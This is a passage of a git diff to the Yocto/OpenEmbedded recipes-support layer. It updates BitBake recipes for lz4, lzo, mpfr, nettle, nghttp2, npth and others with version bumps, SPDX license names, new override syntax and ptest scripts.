- file://run-ptest \
- "
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>.*)"
-
-S = "${WORKDIR}/git"
-
-# Fixed in r118, which is larger than the current version.
-CVE_CHECK_WHITELIST += "CVE-2014-4715"
-
-EXTRA_OEMAKE = "PREFIX=${prefix} CC='${CC}' DESTDIR=${D} LIBDIR=${libdir} INCLUDEDIR=${includedir} BUILD_STATIC=no"
-
-do_install() {
- oe_runmake install
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/lz4/lz4_1.9.4.bb b/meta/recipes-support/lz4/lz4_1.9.4.bb
new file mode 100644
index 0000000000..51a854d44a
--- /dev/null
+++ b/meta/recipes-support/lz4/lz4_1.9.4.bb
@@ -0,0 +1,46 @@
+SUMMARY = "Extremely Fast Compression algorithm"
+DESCRIPTION = "LZ4 is a very fast lossless compression algorithm, providing compression speed at 400 MB/s per core, scalable with multi-cores CPU. It also features an extremely fast decoder, with speed in multiple GB/s per core, typically reaching RAM speed limits on multi-core systems."
+HOMEPAGE = "https://github.com/lz4/lz4"
+
+LICENSE = "BSD-2-Clause | GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://lib/LICENSE;md5=5cd5f851b52ec832b10eedb3f01f885a \
+ file://programs/COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://LICENSE;md5=c5cc3cd6f9274b4d32988096df9c3ec3 \
+ "
+
+PE = "1"
+
+SRCREV = "5ff839680134437dbf4678f3d0c7b371d84f4964"
+
+SRC_URI = "git://github.com/lz4/lz4.git;branch=release;protocol=https \
+ file://run-ptest \
+ "
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>.*)"
+
+S = "${WORKDIR}/git"
+
+inherit ptest
+
+CVE_STATUS[CVE-2014-4715] = "fixed-version: Fixed in r118, which is larger than the current version."
+
+EXTRA_OEMAKE = "PREFIX=${prefix} CC='${CC}' CFLAGS='${CFLAGS}' DESTDIR=${D} LIBDIR=${libdir} INCLUDEDIR=${includedir} BUILD_STATIC=no"
+
+do_install() {
+ oe_runmake install
+}
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN}-ptest += "bash"
+
+do_compile_ptest() {
+ oe_runmake -C ${B}/tests/
+}
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests/
+ install --mode=755 ${B}/tests/frametest ${D}${PTEST_PATH}/tests/
+ sed -i "s#@PTEST_PATH@#${PTEST_PATH}#g" ${D}${PTEST_PATH}/run-ptest
+
+}
+
diff --git a/meta/recipes-support/lzo/lzo/0001-Use-memcpy-instead-of-reinventing-it.patch b/meta/recipes-support/lzo/lzo/0001-Use-memcpy-instead-of-reinventing-it.patch
index db3a70e803..a0d2502d24 100644
--- a/meta/recipes-support/lzo/lzo/0001-Use-memcpy-instead-of-reinventing-it.patch
+++ b/meta/recipes-support/lzo/lzo/0001-Use-memcpy-instead-of-reinventing-it.patch
@@ -10,7 +10,15 @@ Change suggested by Julian Taylor.
Bug-Debian: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=757037
-Upstream-Status: Pending
+RP: Patch is still in debian as of 20220524 in a revised form:
+https://sources.debian.org/patches/lzo2/2.10-2/
+https://sources.debian.org/patches/lzo2/2.10-2/0001-Conditionally-replace-reinvention-of-memcpy-with-cal.patch/
+It was submitted in 2015, no reply to an email from RP in 2022 either.
+
+We likely need this in OE to prevent against unaligned accesses
+on systems such as armv5.
+
+Upstream-Status: Inactive-Upstream
Signed-off-by: Saul Wold <sgw@linux.intel.com>
---
minilzo/minilzo.c | 14 ++++++++++++++
diff --git a/meta/recipes-support/lzo/lzo_2.10.bb b/meta/recipes-support/lzo/lzo_2.10.bb
index 8eefec3cc9..195c2f2939 100644
--- a/meta/recipes-support/lzo/lzo_2.10.bb
+++ b/meta/recipes-support/lzo/lzo_2.10.bb
@@ -1,7 +1,9 @@
SUMMARY = "Lossless data compression library"
+DESCRIPTION = "A portable lossless data compression library written in \
+ANSI C that offers pretty fast compression and *extremely* fast decompression. "
HOMEPAGE = "http://www.oberhumer.com/opensource/lzo/"
SECTION = "libs"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
file://src/lzo_init.c;beginline=5;endline=25;md5=9ae697ca01829b0a383c5d2d163e0108"
@@ -16,6 +18,8 @@ SRC_URI[sha256sum] = "c0f892943208266f9b6543b3ae308fab6284c5c90e627931446fb49b42
inherit autotools ptest
+CVE_PRODUCT = "lzo oberhumer:lzo2"
+
EXTRA_OECONF = "--enable-shared"
do_install_ptest() {
diff --git a/meta/recipes-support/lzop/lzop_1.04.bb b/meta/recipes-support/lzop/lzop_1.04.bb
index b50c230437..d9b3524b67 100644
--- a/meta/recipes-support/lzop/lzop_1.04.bb
+++ b/meta/recipes-support/lzop/lzop_1.04.bb
@@ -5,9 +5,10 @@ gzip are much higher compression and decompression speed at the cost of some \n\
compression ratio. The lzop compression utility was designed with the goals \n\
of reliability, speed, portability and with reasonable drop-in compatibility \n\
to gzip."
+HOMEPAGE = "http://www.lzop.org/"
DEPENDS += "lzo"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
file://src/lzop.c;beginline=5;endline=21;md5=23d767de7754eb24b9e900b025cf7fc8"
@@ -19,7 +20,7 @@ SRC_URI[sha256sum] = "7e72b62a8a60aff5200a047eea0773a8fb205caf7acbe1774d95147f30
inherit autotools
-do_configure_prepend () {
+do_configure:prepend () {
install -Dm 0644 ${WORKDIR}/acinclude.m4 ${S}/acinclude.m4
}
diff --git a/meta/recipes-support/mpfr/mpfr_4.1.0.bb b/meta/recipes-support/mpfr/mpfr_4.1.0.bb
deleted file mode 100644
index 82b5516f26..0000000000
--- a/meta/recipes-support/mpfr/mpfr_4.1.0.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-SUMMARY = "C library for multiple-precision floating-point computations with exact rounding"
-HOMEPAGE = "https://www.mpfr.org/"
-LICENSE = "LGPLv3+"
-SECTION = "devel"
-
-inherit autotools texinfo
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
- file://COPYING.LESSER;md5=3000208d539ec061b899bce1d9ce9404 \
- "
-DEPENDS = "gmp autoconf-archive"
-
-SRC_URI = "https://www.mpfr.org/mpfr-${PV}/mpfr-${PV}.tar.xz"
-SRC_URI[sha256sum] = "0c98a3f1732ff6ca4ea690552079da9c597872d30e96ec28414ee23c95558a7f"
-
-UPSTREAM_CHECK_URI = "http://www.mpfr.org/mpfr-current/"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/mpfr/mpfr_4.2.1.bb b/meta/recipes-support/mpfr/mpfr_4.2.1.bb
new file mode 100644
index 0000000000..a2067e1036
--- /dev/null
+++ b/meta/recipes-support/mpfr/mpfr_4.2.1.bb
@@ -0,0 +1,19 @@
+SUMMARY = "C library for multiple-precision floating-point computations with exact rounding"
+DESCRIPTION = "The GNU Multiple Precision Floating-Point Reliable Library (GNU MPFR) is a GNU portable C library for arbitrary-precision binary floating-point computation with correct rounding, based on GNU Multi-Precision Library. MPFR's computation is both efficient and has a well-defined semantics: the functions are completely specified on all the possible operands and the results do not depend on the platform."
+HOMEPAGE = "https://www.mpfr.org/"
+LICENSE = "LGPL-3.0-or-later"
+SECTION = "devel"
+
+inherit autotools texinfo
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
+ file://COPYING.LESSER;md5=3000208d539ec061b899bce1d9ce9404 \
+ "
+DEPENDS = "gmp autoconf-archive-native"
+
+SRC_URI = "https://www.mpfr.org/mpfr-${PV}/mpfr-${PV}.tar.xz"
+SRC_URI[sha256sum] = "277807353a6726978996945af13e52829e3abd7a9a5b7fb2793894e18f1fcbb2"
+
+UPSTREAM_CHECK_URI = "http://www.mpfr.org/mpfr-current/"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/nettle/nettle-3.6/dlopen-test.patch b/meta/recipes-support/nettle/nettle-3.6/dlopen-test.patch
deleted file mode 100644
index ab9b91f88b..0000000000
--- a/meta/recipes-support/nettle/nettle-3.6/dlopen-test.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-Remove the relative path for libnettle.so so the test
-program can find it.
-Relative paths are not suitable, as the folder strucure for ptest
-is different from the one expected by the nettle testsuite.
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Juro Bystricky <juro.bystricky@intel.com>
-Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
----
- testsuite/dlopen-test.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/testsuite/dlopen-test.c b/testsuite/dlopen-test.c
-index 4265bf7..1a25d17 100644
---- a/testsuite/dlopen-test.c
-+++ b/testsuite/dlopen-test.c
-@@ -15,7 +15,7 @@ int
- main (int argc UNUSED, char **argv UNUSED)
- {
- #if HAVE_LIBDL
-- void *handle = dlopen ("../libnettle." SO_EXT, RTLD_NOW);
-+ void *handle = dlopen ("libnettle.so", RTLD_NOW);
- int (*get_version)(void);
- if (!handle)
- {
---
-2.17.1
-
diff --git a/meta/recipes-support/nettle/nettle-3.6/run-ptest b/meta/recipes-support/nettle/nettle-3.6/run-ptest
deleted file mode 100644
index b90bed66d2..0000000000
--- a/meta/recipes-support/nettle/nettle-3.6/run-ptest
+++ /dev/null
@@ -1,36 +0,0 @@
-#! /bin/sh
-
-cd testsuite
-
-failed=0
-all=0
-
-for f in *-test; do
- if [ "$f" = "sha1-huge-test" ] ; then
- echo "SKIP: $f (skipped for ludicrous run time)"
- continue
- fi
-
- "./$f"
- case "$?" in
- 0)
- echo "PASS: $f"
- all=$((all + 1))
- ;;
- 77)
- echo "SKIP: $f"
- ;;
- *)
- echo "FAIL: $f"
- failed=$((failed + 1))
- all=$((all + 1))
- ;;
- esac
-done
-
-if [ "$failed" -eq 0 ] ; then
- echo "All $all tests passed"
-else
- echo "$failed of $all tests failed"
-fi
-
diff --git a/meta/recipes-support/nettle/nettle-3.6/Add-target-to-only-build-tests-not-run-them.patch b/meta/recipes-support/nettle/nettle/Add-target-to-only-build-tests-not-run-them.patch
index e3f5c6de7d..e3f5c6de7d 100644
--- a/meta/recipes-support/nettle/nettle-3.6/Add-target-to-only-build-tests-not-run-them.patch
+++ b/meta/recipes-support/nettle/nettle/Add-target-to-only-build-tests-not-run-them.patch
diff --git a/meta/recipes-support/nettle/nettle-3.6/check-header-files-of-openssl-only-if-enable_.patch b/meta/recipes-support/nettle/nettle/check-header-files-of-openssl-only-if-enable_.patch
index d5f266681e..d5f266681e 100644
--- a/meta/recipes-support/nettle/nettle-3.6/check-header-files-of-openssl-only-if-enable_.patch
+++ b/meta/recipes-support/nettle/nettle/check-header-files-of-openssl-only-if-enable_.patch
diff --git a/meta/recipes-support/nettle/nettle/run-ptest b/meta/recipes-support/nettle/nettle/run-ptest
new file mode 100644
index 0000000000..61a43c78f1
--- /dev/null
+++ b/meta/recipes-support/nettle/nettle/run-ptest
@@ -0,0 +1,40 @@
+#! /bin/sh
+
+cd testsuite
+
+failed=0
+all=0
+
+for f in *-test; do
+ case "$f" in
+ "sha1-huge-test")
+ echo "SKIP: $f (long run time)"
+ ;;
+ "symbols-test")
+ echo "SKIP: $f (needs static libraries)"
+ ;;
+ *)
+ "./$f"
+ case "$?" in
+ 0)
+ echo "PASS: $f"
+ all=$((all + 1))
+ ;;
+ 77)
+ echo "SKIP: $f"
+ ;;
+ *)
+ echo "FAIL: $f"
+ failed=$((failed + 1))
+ all=$((all + 1))
+ ;;
+ esac
+ ;;
+ esac
+done
+
+if [ "$failed" -eq 0 ] ; then
+ echo "All $all tests passed"
+else
+ echo "$failed of $all tests failed"
+fi
diff --git a/meta/recipes-support/nettle/nettle_3.6.bb b/meta/recipes-support/nettle/nettle_3.6.bb
deleted file mode 100644
index 90f8625ae5..0000000000
--- a/meta/recipes-support/nettle/nettle_3.6.bb
+++ /dev/null
@@ -1,54 +0,0 @@
-SUMMARY = "A low level cryptographic library"
-HOMEPAGE = "http://www.lysator.liu.se/~nisse/nettle/"
-SECTION = "libs"
-LICENSE = "LGPLv3+ | GPLv2+"
-
-LIC_FILES_CHKSUM = "file://COPYING.LESSERv3;md5=6a6a8e020838b23406c81b19c1d46df6 \
- file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://serpent-decrypt.c;beginline=14;endline=36;md5=ca0d220bc413e1842ecc507690ce416e \
- file://serpent-set-key.c;beginline=14;endline=36;md5=ca0d220bc413e1842ecc507690ce416e"
-
-DEPENDS += "gmp"
-
-SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz \
- file://Add-target-to-only-build-tests-not-run-them.patch \
- file://run-ptest \
- file://check-header-files-of-openssl-only-if-enable_.patch \
- "
-
-SRC_URI_append_class-target = "\
- file://dlopen-test.patch \
- "
-
-SRC_URI[md5sum] = "c45ee24ed7361dcda152a035d396fe8a"
-SRC_URI[sha256sum] = "d24c0d0f2abffbc8f4f34dcf114b0f131ec3774895f3555922fe2f40f3d5e3f1"
-
-UPSTREAM_CHECK_REGEX = "nettle-(?P<pver>\d+(\.\d+)+)\.tar"
-
-inherit autotools ptest multilib_header
-
-EXTRA_AUTORECONF += "--exclude=aclocal"
-
-EXTRA_OECONF = "--disable-openssl"
-
-do_compile_ptest() {
- oe_runmake buildtest
-}
-
-do_install_append() {
- oe_multilib_header nettle/version.h
-}
-
-do_install_ptest() {
- install -d ${D}${PTEST_PATH}/testsuite/
- install ${S}/testsuite/gold-bug.txt ${D}${PTEST_PATH}/testsuite/
- install ${S}/testsuite/*-test ${D}${PTEST_PATH}/testsuite/
- # tools can be found in PATH, not in ../tools/
- sed -i -e 's|../tools/||' ${D}${PTEST_PATH}/testsuite/*-test
- install ${B}/testsuite/*-test ${D}${PTEST_PATH}/testsuite/
-}
-
-RDEPENDS_${PN}-ptest += "${PN}-dev"
-INSANE_SKIP_${PN}-ptest += "dev-deps"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/nettle/nettle_3.9.1.bb b/meta/recipes-support/nettle/nettle_3.9.1.bb
new file mode 100644
index 0000000000..396708cf87
--- /dev/null
+++ b/meta/recipes-support/nettle/nettle_3.9.1.bb
@@ -0,0 +1,61 @@
+SUMMARY = "A low level cryptographic library"
+DESCRIPTION = "Nettle is a cryptographic library that is designed to fit easily in more or less any context: In crypto toolkits for object-oriented languages (C++, Python, Pike, ...), in applications like LSH or GNUPG, or even in kernel space."
+HOMEPAGE = "http://www.lysator.liu.se/~nisse/nettle/"
+DESCRIPTION = "It tries to solve a problem of providing a common set of \
+cryptographic algorithms for higher-level applications by implementing a \
+context-independent set of cryptographic algorithms"
+SECTION = "libs"
+LICENSE = "LGPL-3.0-or-later | GPL-2.0-or-later"
+
+LIC_FILES_CHKSUM = "file://COPYING.LESSERv3;md5=6a6a8e020838b23406c81b19c1d46df6 \
+ file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://serpent-decrypt.c;beginline=14;endline=36;md5=ca0d220bc413e1842ecc507690ce416e \
+ file://serpent-set-key.c;beginline=14;endline=36;md5=ca0d220bc413e1842ecc507690ce416e"
+
+DEPENDS += "gmp"
+
+SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz \
+ file://Add-target-to-only-build-tests-not-run-them.patch \
+ file://run-ptest \
+ file://check-header-files-of-openssl-only-if-enable_.patch \
+ "
+
+SRC_URI[sha256sum] = "ccfeff981b0ca71bbd6fbcb054f407c60ffb644389a5be80d6716d5b550c6ce3"
+
+UPSTREAM_CHECK_REGEX = "nettle-(?P<pver>\d+(\.\d+)+)\.tar"
+
+inherit autotools ptest multilib_header lib_package
+
+EXTRA_AUTORECONF += "--exclude=aclocal"
+
+EXTRA_OECONF = "--disable-openssl"
+
+EXTRA_OECONF:append:armv7a = "${@bb.utils.contains("TUNE_FEATURES","neon",""," --disable-arm-neon --disable-fat",d)}"
+EXTRA_OECONF:append:armv7ve = "${@bb.utils.contains("TUNE_FEATURES","neon",""," --disable-arm-neon --disable-fat",d)}"
+
+do_compile_ptest() {
+ oe_runmake buildtest
+}
+
+do_install:append() {
+ oe_multilib_header nettle/version.h
+}
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/testsuite/
+ install ${B}/testsuite/*-test ${D}${PTEST_PATH}/testsuite/
+ install ${S}/testsuite/*-test ${D}${PTEST_PATH}/testsuite/
+ install ${S}/testsuite/gold-bug.txt ${D}${PTEST_PATH}/testsuite/
+
+ # Install a symlink for dlopen-test
+ ln -sr ${D}${libdir}/libnettle.so.*.* ${D}${PTEST_PATH}/libnettle.so
+ # These examples are needed for pkcs1-conv-test
+ install ${B}/examples/rsa-sign ${B}/examples/rsa-verify ${D}${PTEST_PATH}/testsuite/
+ # Fix build-time relative paths
+ sed -i -e 's|../tools/|${bindir}/|g' ${D}${PTEST_PATH}/testsuite/*-test
+ sed -i -e 's|../examples/|./|g' ${D}${PTEST_PATH}/testsuite/*-test
+}
+
+RDEPENDS:${PN}-ptest += "${PN}-bin"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/nghttp2/nghttp2_1.61.0.bb b/meta/recipes-support/nghttp2/nghttp2_1.61.0.bb
new file mode 100644
index 0000000000..ad85576dcb
--- /dev/null
+++ b/meta/recipes-support/nghttp2/nghttp2_1.61.0.bb
@@ -0,0 +1,28 @@
+SUMMARY = "HTTP/2 C Library and tools"
+HOMEPAGE = "https://nghttp2.org/"
+SECTION = "libs"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=764abdf30b2eadd37ce47dcbce0ea1ec"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/nghttp2-${PV}.tar.xz"
+SRC_URI[sha256sum] = "c0e660175b9dc429f11d25b9507a834fb752eea9135ab420bb7cb7e9dbcc9654"
+
+inherit cmake manpages python3native github-releases
+PACKAGECONFIG[manpages] = ""
+
+# examples are never installed, and don't need to be built in the
+# first place
+EXTRA_OECMAKE = "-DENABLE_EXAMPLES=OFF -DENABLE_APP=OFF -DENABLE_HPACK_TOOLS=OFF -DENABLE_PYTHON_BINDINGS=OFF"
+
+PACKAGES =+ "lib${BPN} ${PN}-proxy "
+
+RDEPENDS:${PN} = "${PN}-proxy (>= ${PV})"
+RDEPENDS:${PN}:class-native = ""
+RDEPENDS:${PN}-proxy = "openssl python3-core python3-io python3-shell"
+
+ALLOW_EMPTY:${PN} = "1"
+FILES:${PN} = ""
+FILES:lib${BPN} = "${libdir}/*${SOLIBS}"
+FILES:${PN}-proxy = "${bindir}/nghttpx ${datadir}/${BPN}/fetch-ocsp-response"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/npth/npth/musl-fix.patch b/meta/recipes-support/npth/npth/musl-fix.patch
new file mode 100644
index 0000000000..fabe78b14c
--- /dev/null
+++ b/meta/recipes-support/npth/npth/musl-fix.patch
@@ -0,0 +1,37 @@
+From 417abd56fd7bf45cd4948414050615cb1ad59134 Mon Sep 17 00:00:00 2001
+From: NIIBE Yutaka <gniibe@fsij.org>
+Date: Fri, 1 Mar 2024 13:53:52 +0900
+Subject: [PATCH] Fix INSERT_EXPOSE_RWLOCK_API for musl C library.
+
+* configure.ac: Add a case for musl system.
+
+Upstream-Status: Backport [https://git.gnupg.org/cgi-bin/gitweb.cgi?p=npth.git;a=commit;h=417abd56fd7bf45cd4948414050615cb1ad59134]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+--
+
+GnuPG-bug-id: 5664
+Signed-off-by: NIIBE Yutaka <gniibe@fsij.org>
+---
+ configure.ac | 5 ++++-
+ 1 file changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/configure.ac b/configure.ac
+index c1091b1..576a26e 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -381,7 +381,10 @@ fi
+ AC_SUBST(INSERT_NO_RWLOCK)
+
+ case "${host}" in
+- *-*-linux*|*-*-gnu*)
++ *-*-linux-musl*)
++ INSERT_EXPOSE_RWLOCK_API="1"
++ ;;
++ *-*-linux-gnu*|*-*-gnu*)
+ INSERT_EXPOSE_RWLOCK_API="defined(__USE_UNIX98) || defined(__USE_XOPEN2K)"
+ ;;
+ *)
+--
+2.30.2
+
+
diff --git a/meta/recipes-support/npth/npth/pkgconfig.patch b/meta/recipes-support/npth/npth/pkgconfig.patch
index b6a12e7309..e736921b43 100644
--- a/meta/recipes-support/npth/npth/pkgconfig.patch
+++ b/meta/recipes-support/npth/npth/pkgconfig.patch
@@ -1,13 +1,51 @@
-Added npth pkgconfig file
+From ff19a9648f1c7d93087e2c33ca64bb881d53ea5a Mon Sep 17 00:00:00 2001
+From: Saul Wold <sgw@linux.intel.com>
+Date: Mon, 10 Nov 2014 13:59:03 -0800
+Subject: [PATCH] Added npth pkgconfig file
Upstream-Status: Pending
Signed-off-by: Saul Wold <sgw@linux.intel.com>
+---
+ configure.ac | 1 +
+ src/Makefile.am | 4 +++-
+ src/npth.pc.in | 10 ++++++++++
+ 3 files changed, 14 insertions(+), 1 deletion(-)
+ create mode 100644 src/npth.pc.in
-Index: npth-1.1/src/npth.pc.in
-===================================================================
+diff --git a/configure.ac b/configure.ac
+index 10f3629..65b76a1 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -476,6 +476,7 @@ src/Makefile
+ w32/Makefile
+ tests/Makefile])
+ AC_CONFIG_FILES(npth-config, chmod +x npth-config)
++AC_CONFIG_FILES([src/npth.pc])
+ AC_OUTPUT
+
+ echo "
+diff --git a/src/Makefile.am b/src/Makefile.am
+index 7070118..6f01c64 100644
+--- a/src/Makefile.am
++++ b/src/Makefile.am
+@@ -17,8 +17,10 @@
+ # License along with this program; if not, see <http://www.gnu.org/licenses/>.
+
+ ## Process this file with automake to produce Makefile.in
++pkgconfigdir = $(libdir)/pkgconfig
++pkgconfig_DATA = npth.pc
+
+-EXTRA_DIST = libnpth.vers
++EXTRA_DIST = libnpth.vers npth.pc
+ # versioninfo.rc.in
+ nodist_include_HEADERS = npth.h
+
+diff --git a/src/npth.pc.in b/src/npth.pc.in
+new file mode 100644
+index 0000000..db091e8
--- /dev/null
-+++ npth-1.1/src/npth.pc.in
++++ b/src/npth.pc.in
@@ -0,0 +1,10 @@
+prefix=@prefix@
+exec_prefix=@exec_prefix@
@@ -19,31 +57,3 @@ Index: npth-1.1/src/npth.pc.in
+Version: @VERSION@
+Libs: -L${libdir} -lnpth -lpthread
+Cflags: -I${includedir}
-Index: npth-1.1/src/Makefile.am
-===================================================================
---- npth-1.1.orig/src/Makefile.am
-+++ npth-1.1/src/Makefile.am
-@@ -27,8 +27,10 @@
- # License along with this program; if not, see <http://www.gnu.org/licenses/>.
-
- ## Process this file with automake to produce Makefile.in
-+pkgconfigdir = $(libdir)/pkgconfig
-+pkgconfig_DATA = npth.pc
-
--EXTRA_DIST = libnpth.vers
-+EXTRA_DIST = libnpth.vers npth.pc
- # versioninfo.rc.in
- nodist_include_HEADERS = npth.h
-
-Index: npth-1.1/configure.ac
-===================================================================
---- npth-1.1.orig/configure.ac
-+++ npth-1.1/configure.ac
-@@ -337,6 +337,7 @@ src/Makefile
- w32/Makefile
- tests/Makefile])
- AC_CONFIG_FILES(npth-config, chmod +x npth-config)
-+AC_CONFIG_FILES([src/npth.pc])
- AC_OUTPUT
-
- echo "
diff --git a/meta/recipes-support/npth/npth_1.6.bb b/meta/recipes-support/npth/npth_1.6.bb
deleted file mode 100644
index 233e0dc4a4..0000000000
--- a/meta/recipes-support/npth/npth_1.6.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-SUMMARY = "New GNU Portable Threads library"
-HOMEPAGE = "http://www.gnupg.org/software/pth/"
-SECTION = "libs"
-LICENSE = "LGPLv2+"
-LIC_FILES_CHKSUM = "\
- file://COPYING.LIB;md5=2caced0b25dfefd4c601d92bd15116de\
- "
-UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
-SRC_URI = "${GNUPG_MIRROR}/npth/npth-${PV}.tar.bz2 \
- file://pkgconfig.patch \
- "
-
-SRC_URI[md5sum] = "375d1a15ad969f32d25f1a7630929854"
-SRC_URI[sha256sum] = "1393abd9adcf0762d34798dc34fdcf4d0d22a8410721e76f1e3afcd1daa4e2d1"
-
-BINCONFIG = "${bindir}/npth-config"
-
-inherit autotools binconfig-disabled multilib_header
-
-FILES_${PN} = "${libdir}/libnpth.so.*"
-FILES_${PN}-dev += "${bindir}/npth-config"
-
-do_install_append() {
- oe_multilib_header npth.h
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/npth/npth_1.7.bb b/meta/recipes-support/npth/npth_1.7.bb
new file mode 100644
index 0000000000..f02a731f85
--- /dev/null
+++ b/meta/recipes-support/npth/npth_1.7.bb
@@ -0,0 +1,25 @@
+SUMMARY = "New GNU Portable Threads library"
+DESCRIPTION = "nPth is a library to provide the GNU Pth API and thus a non-preemptive threads implementation. "
+HOMEPAGE = "https://www.gnu.org/software/pth/"
+SECTION = "libs"
+LICENSE = "LGPL-2.0-or-later"
+LIC_FILES_CHKSUM = "\
+ file://COPYING.LIB;md5=2caced0b25dfefd4c601d92bd15116de\
+ "
+UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
+SRC_URI = "${GNUPG_MIRROR}/npth/npth-${PV}.tar.bz2 \
+ file://pkgconfig.patch \
+ file://musl-fix.patch \
+ "
+
+SRC_URI[sha256sum] = "8589f56937b75ce33b28d312fccbf302b3b71ec3f3945fde6aaa74027914ad05"
+
+inherit autotools binconfig-disabled multilib_header
+
+FILES:${PN} = "${libdir}/libnpth.so.*"
+
+do_install:append() {
+ oe_multilib_header npth.h
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/nss-myhostname/nss-myhostname_0.3.bb b/meta/recipes-support/nss-myhostname/nss-myhostname_0.3.bb
index 074f713205..742e77eb18 100644
--- a/meta/recipes-support/nss-myhostname/nss-myhostname_0.3.bb
+++ b/meta/recipes-support/nss-myhostname/nss-myhostname_0.3.bb
@@ -3,7 +3,7 @@ DESCRIPTION = "plugin for the GNU Name Service Switch (NSS) functionality of \
the GNU C Library (glibc) providing host name resolution for the locally \
configured system hostname as returned by gethostname(2)."
HOMEPAGE = "http://0pointer.de/lennart/projects/nss-myhostname/"
-LICENSE = "LGPLv2.1"
+LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://LICENSE;md5=2d5025d4aa3495befef8f17206a5b0a1"
SRC_URI = "http://0pointer.de/lennart/projects/nss-myhostname/nss-myhostname-${PV}.tar.gz \
@@ -14,18 +14,18 @@ SRC_URI[sha256sum] = "2ba744ea8d578d1c57c85884e94a3042ee17843a5294434d3a7f6c4d67
inherit autotools features_check
-COMPATIBLE_HOST_libc-musl = 'null'
+COMPATIBLE_HOST:libc-musl = 'null'
# The systemd has its own copy of nss-myhostname
CONFLICT_DISTRO_FEATURES = "systemd"
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
sed -e '/^hosts:/s/\s*\<myhostname\>//' \
-e 's/\(^hosts:.*\)\(\<files\>\)\(.*\)\(\<dns\>\)\(.*\)/\1\2 myhostname \3\4\5/' \
-i $D${sysconfdir}/nsswitch.conf
}
-pkg_prerm_${PN} () {
+pkg_prerm:${PN} () {
sed -e '/^hosts:/s/\s*\<myhostname\>//' \
-e '/^hosts:/s/\s*myhostname//' \
-i $D${sysconfdir}/nsswitch.conf
diff --git a/meta/recipes-support/numactl/numactl/0001-define-run-test-target.patch b/meta/recipes-support/numactl/numactl/0001-define-run-test-target.patch
new file mode 100644
index 0000000000..68b3e2491f
--- /dev/null
+++ b/meta/recipes-support/numactl/numactl/0001-define-run-test-target.patch
@@ -0,0 +1,33 @@
+From a5e1fa272f294e739d6caaf629968478796ca53a Mon Sep 17 00:00:00 2001
+From: Roy Li <rongqing.li@windriver.com>
+Date: Mon, 19 Oct 2020 14:42:11 -0700
+Subject: [PATCH] rename test target as run-test
+
+Upstream-Status: Pending
+
+test target not only compile the test files, but also run them, which is
+not suitable for cross-compile environment, so rename it as run-test.
+
+and define test target to compile the test files.
+
+Signed-off-by: Roy Li <rongqing.li@windriver.com>
+
+---
+ Makefile.am | 4 +++-
+ 1 file changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/Makefile.am b/Makefile.am
+index da01d27..c738b93 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -126,7 +126,9 @@ regress2: $(check_PROGRAMS)
+ test_numademo: numademo
+ ./numademo -t -e 10M
+
+-test: all $(check_PROGRAMS) regress1 regress2 test_numademo
++test: all $(check_PROGRAMS)
++
++run-test: all $(check_PROGRAMS) regress1 regress2 test_numademo
+
+ TESTS_ENVIRONMENT = builddir='$(builddir)'; export builddir;
+
diff --git a/meta/recipes-support/numactl/numactl/Fix-the-test-output-format.patch b/meta/recipes-support/numactl/numactl/Fix-the-test-output-format.patch
new file mode 100644
index 0000000000..8345f71d72
--- /dev/null
+++ b/meta/recipes-support/numactl/numactl/Fix-the-test-output-format.patch
@@ -0,0 +1,63 @@
+From 29f811d9d381f2ab54b3c8cef77334e32970ef09 Mon Sep 17 00:00:00 2001
+From: Li xin <lixin.fnst@cn.fujitsu.com>
+Date: Tue, 21 Jul 2015 02:01:22 +0900
+Subject: [PATCH] Fix the test output format
+
+Upstream-Status: Pending
+
